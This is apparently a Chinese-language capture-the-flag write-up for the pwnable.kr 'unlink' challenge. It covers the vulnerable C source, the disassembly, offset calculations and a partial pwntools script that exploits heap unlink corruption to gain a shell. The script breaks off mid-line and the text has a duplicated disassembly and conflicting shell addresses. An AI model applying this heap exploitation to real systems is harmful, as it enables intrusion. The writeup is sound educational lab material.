Daddy! how can I exploit unlink corruption?
ssh [email protected] -p2222 (pw: guest)
源代码如下:
#include
#include
#include
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
objdump -d -mi386:intel unlink结果如下:
080484eb :
80484eb: 55 push ebp
80484ec: 89 e5 mov ebp,esp
80484ee: 83 ec 08 sub esp,0x8
80484f1: 83 ec 0c sub esp,0xc
80484f4: 68 90 86 04 08 push 0x8048690
80484f9: e8 c2 fe ff ff call 80483c0
80484fe: 83 c4 10 add esp,0x10
8048501: 90 nop
8048502: c9 leave
8048503: c3 ret
08048504 :
8048504: 55 push ebp
8048505: 89 e5 mov ebp,esp
8048507: 83 ec 10 sub esp,0x10
804850a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804850d: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
8048510: 89 45 fc mov DWORD PTR [ebp-0x4],eax
8048513: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048516: 8b 00 mov eax,DWORD PTR [eax]
8048518: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
804851b: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
804851e: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
8048521: 89 50 04 mov DWORD PTR [eax+0x4],edx
8048524: 8b 45 fc mov eax,DWORD PTR [ebp-0x4]
8048527: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
804852a: 89 10 mov DWORD PTR [eax],edx
804852c: 90 nop
804852d: c9 leave
804852e: c3 ret
0804852f :
804852f: 8d 4c 24 04 lea ecx,[esp+0x4]
8048533: 83 e4 f0 and esp,0xfffffff0
8048536: ff 71 fc push DWORD PTR [ecx-0x4]
8048539: 55 push ebp
804853a: 89 e5 mov ebp,esp
804853c: 51 push ecx
804853d: 83 ec 14 sub esp,0x14
8048540: 83 ec 0c sub esp,0xc
8048543: 68 00 04 00 00 push 0x400
8048548: e8 53 fe ff ff call 80483a0
804854d: 83 c4 10 add esp,0x10
8048550: 83 ec 0c sub esp,0xc
8048553: 6a 10 push 0x10
8048555: e8 46 fe ff ff call 80483a0
804855a: 83 c4 10 add esp,0x10
804855d: 89 45 ec mov DWORD PTR [ebp-0x14],eax
8048560: 83 ec 0c sub esp,0xc
8048563: 6a 10 push 0x10
8048565: e8 36 fe ff ff call 80483a0
804856a: 83 c4 10 add esp,0x10
804856d: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
8048570: 83 ec 0c sub esp,0xc
8048573: 6a 10 push 0x10
8048575: e8 26 fe ff ff call 80483a0
804857a: 83 c4 10 add esp,0x10
804857d: 89 45 f0 mov DWORD PTR [ebp-0x10],eax
8048580: 8b 45 ec mov eax,DWORD PTR [ebp-0x14]
8048583: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
8048586: 89 10 mov DWORD PTR [eax],edx
8048588: 8b 55 ec mov edx,DWORD PTR [ebp-0x14]
804858b: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
804858e: 89 50 04 mov DWORD PTR [eax+0x4],edx
8048591: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
8048594: 8b 55 f0 mov edx,DWORD PTR [ebp-0x10]
8048597: 89 10 mov DWORD PTR [eax],edx
8048599: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10]
804859c: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
804859f: 89 50 04 mov DWORD PTR [eax+0x4],edx
80485a2: 83 ec 08 sub esp,0x8
80485a5: 8d 45 ec lea eax,[ebp-0x14]
80485a8: 50 push eax
80485a9: 68 98 86 04 08 push 0x8048698
80485ae: e8 cd fd ff ff call 8048380
80485b3: 83 c4 10 add esp,0x10
80485b6: 8b 45 ec mov eax,DWORD PTR [ebp-0x14]
80485b9: 83 ec 08 sub esp,0x8
80485bc: 50 push eax
80485bd: 68 b8 86 04 08 push 0x80486b8
80485c2: e8 b9 fd ff ff call 8048380
80485c7: 83 c4 10 add esp,0x10
80485ca: 83 ec 0c sub esp,0xc
80485cd: 68 d8 86 04 08 push 0x80486d8
80485d2: e8 d9 fd ff ff call 80483b0
80485d7: 83 c4 10 add esp,0x10
80485da: 8b 45 ec mov eax,DWORD PTR [ebp-0x14]
80485dd: 83 c0 08 add eax,0x8
80485e0: 83 ec 0c sub esp,0xc
80485e3: 50 push eax
80485e4: e8 a7 fd ff ff call 8048390
80485e9: 83 c4 10 add esp,0x10
80485ec: 83 ec 0c sub esp,0xc
80485ef: ff 75 f4 push DWORD PTR [ebp-0xc]
80485f2: e8 0d ff ff ff call 8048504
80485f7: 83 c4 10 add esp,0x10
80485fa: b8 00 00 00 00 mov eax,0x0
80485ff: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
8048602: c9 leave
8048603: 8d 61 fc lea esp,[ecx-0x4]
8048606: c3 ret
8048607: 66 90 xchg ax,ax
8048609: 66 90 xchg ax,ax
804860b: 66 90 xchg ax,ax
804860d: 66 90 xchg ax,ax
804860f: 90 nop
仔细阅读以上汇编代码,得出的栈帧结构如下:
我们需要利用的程序实现了双向链表结构。链表中的每个节点都有一个指向下一个元素(fd)的指针,一个指向前一个元素(bk)的指针以及8个字节的内容(buf)。该程序支持“ unlink”功能:当在链接L上运行unlink时,程序将备份下一个链接Lprev和上一个链接Lnext的标识,然后连接这两个链接:Lnext上的bk指针指向到Lprev,然后使Lprev上的fd指针指向Lnext。
•创建三个这样的链接:A,B和C
•操作链接指针,以便使用A第一,B第二和C第三创建正确的双向链接列表
•将指针&A保留在堆栈(栈)上的地址作为main函数中的一个变量
•显示A对象保留在堆上的地址
•给用户权限以覆盖堆上以A.buf开头的内存
•尝试在B上调用unlink
我们最好制定一种攻击策略–为此,我们需要概述堆栈和堆的形状。指向A,B和C的指针将位于堆栈上,而实际对象A,B和C将位于堆上。我们可能会猜测,堆栈中的指针将紧挨着放置,并且堆分配本身也可能按照分配的顺序彼此靠近,尽管不能保证它们是连续的(因为我们已经在memcpy中看到)。这意味着在调用get返回之后,除了A的fd和bk值(出现在内存中A.buf之前)之外,我们可能将控制所有链接缓冲区和指针。
让我们仔细看看unlink功能的作用。从逻辑上讲,它大致等于,然后是(区别在于程序中,的值是预先计算的)。在内存方面,这转换为*((*(B+0))+4)= *(B+4)和*((*(B+4))+0)= *(B+0)。
制定攻击计划:
•在内存中选择一个位置M来存储shell程序的地址。 M需要是可写的,并且我们不必关心M + 4是否损坏。
•用M + 4覆盖B->fd(因数4是为了抵消了lea esp, [ecx-4]中的减法)。
•使用esp备份变量E的堆栈地址覆盖B-\u003e bk。
•使用shell函数的地址(0x80484eb)覆盖M。
不过,我们还有很多细节需要解决
•正确的shell地址
•我们对M的选择
•B.fd和B.bk相对于我们堆溢出输入开始的A.buf的正确偏移量
•在exploit之前可以正确计算M和E的值; E仅在运行时才知道,M的值取决于我们的选择
该程序为我们提供了堆栈上的&A指针和堆上的A对象的内存泄漏。如果我们注意到,只要给定B相对于A的偏移量,我们就可以对未知量进行推断。我们就可以计算B.fd,B.bk和B.buf相对于input starting的偏移。A位于input_start-8,B位于(input_start-8)+(B-A),通过B+0对应B.fd,B+4对应B.bk,B+8对应B.buf。
为了计算E,我们可以通过计算出stack lead的地址(&A)。E和&A之间的偏移是个常数。程序中总共有4个malloc操作,第二个malloc把返回值分配给了本地变量&A所指向的内存单元,所以,通过汇编代码我们可以看到,&A对应于ebp-0x14。esp的备份变量(ecx, ecx==esp+4, 所以让ecx==M+4,那么M就对应了esp,在M处写入shellcode的地址,那么就可以通过ret之后而执行shellcode了)位于ebp-0x4,所以我们可以推断正确的偏移是:-0x4-(-0x14)=0x10
我们同样可以推断,&B位于ebp-0x0c,&C位于ebp-0x10。这意味着,从栈顶到栈底,栈中的link variables依次是:A,C,B。
•shell的地址:0x80484eb
•M的选择:B.buf(A+(B-A)+8)
•B.fd和B.bk相对于A.buf的偏移:(B-A)-8和(B-A)-8+4
•E:&A+0x10
由于A(heap_leak)和&A(stack_lean)在程序中给出了,那么我们只剩下一个未知量了:B-A,也就是B相对于A的偏移量。所以,在目标环境中对程序进行debug。在A,B,C都malloc了之后的位置处打个断点(break *0x8048580),接着运行(r)。然后查看stack中的&A和&B地址处存的值:x/xw $ebp-0x14,x/xw $ebp-0xC。结果显示,B相对于A的偏移是0x18。
因为我们的输入从A.buf开始,对应着A+8,在偏移0x10处重写B,4字节重写B-fd,接着4字节重写B-bk,最终8字节重写B-buf.
所以:最终的计划:
使用B.buf+4 重写 B->fd(input_start+0x10)
使用E(stack_leak+0x10)重写B->bk(input_start+0x14)
使用shell地址(0x804843b)重写B->buf(input_start+0x18)
上面对应的是B.fd存M+4,B.bk存E。
当然了,还有另一种思路,就是B.fd存E,B.bk存M+4.
import re
import chardet
from pwn import *
from struct import pack
p = process("./unlink")
print(p)
stack_leak = int(re.search('0x[^\n]+', p.recvline().decode('ascii')).group(0),16)
print(hex(stack_leak))
heap_leak = int(re.search('0x[^\n]+', p.recvline().decode('ascii')).group(0),16)
print(hex(heap_leak))
ret = stack_leak + 16
shell = 0x80484eb
heap = heap_leak + 8
p.sendline(pack('
-------------------------------------------------------------------------------------------------
0804852f
804852f: 8d 4c 24 04 lea ecx,[esp+0x4]
8048533: 83 e4 f0 and esp,0xfffffff0
8048536: ff 71 fc push DWORD PTR [ecx-0x4]
8048539: 55 push ebp
804853a: 89 e5 mov ebp,esp
804853c: 51 push ecx
804853d: 83 ec 14 sub esp,0x14
8048540: 83 ec 0c sub esp,0xc
8048543: 68 00 04 00 00 push 0x400
8048548: e8 53 fe ff ff call 80483a0
804854d: 83 c4 10 add esp,0x10
8048550: 83 ec 0c sub esp,0xc
8048553: 6a 10 push 0x10
8048555: e8 46 fe ff ff call 80483a0
804855a: 83 c4 10 add esp,0x10
804855d: 89 45 ec mov DWORD PTR [ebp-0x14],eax
8048560: 83 ec 0c sub esp,0xc
8048563: 6a 10 push 0x10
8048565: e8 36 fe ff ff call 80483a0
804856a: 83 c4 10 add esp,0x10
804856d: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
8048570: 83 ec 0c sub esp,0xc
8048573: 6a 10 push 0x10
8048575: e8 26 fe ff ff call 80483a0
804857a: 83 c4 10 add esp,0x10
804857d: 89 45 f0 mov DWORD PTR [ebp-0x10],eax
8048580:
sub表示给函数的调用做准备(创建栈帧结构),push表示插入参数(malloc分配的字节的个数),call表示实际的调用,add表示恢复栈帧结构。
使用gdb可以查看C语言二进制可执行文件的各个函数的地址:
acat@acat-xx:test$ objdump -d -mi386:intel unlink
objdump -d --prefix-addresses -mi386:intel unlink
可以显示长串的地址
blukat@pwnable:~$ objdump -d -mi386:x86-64:intel blukat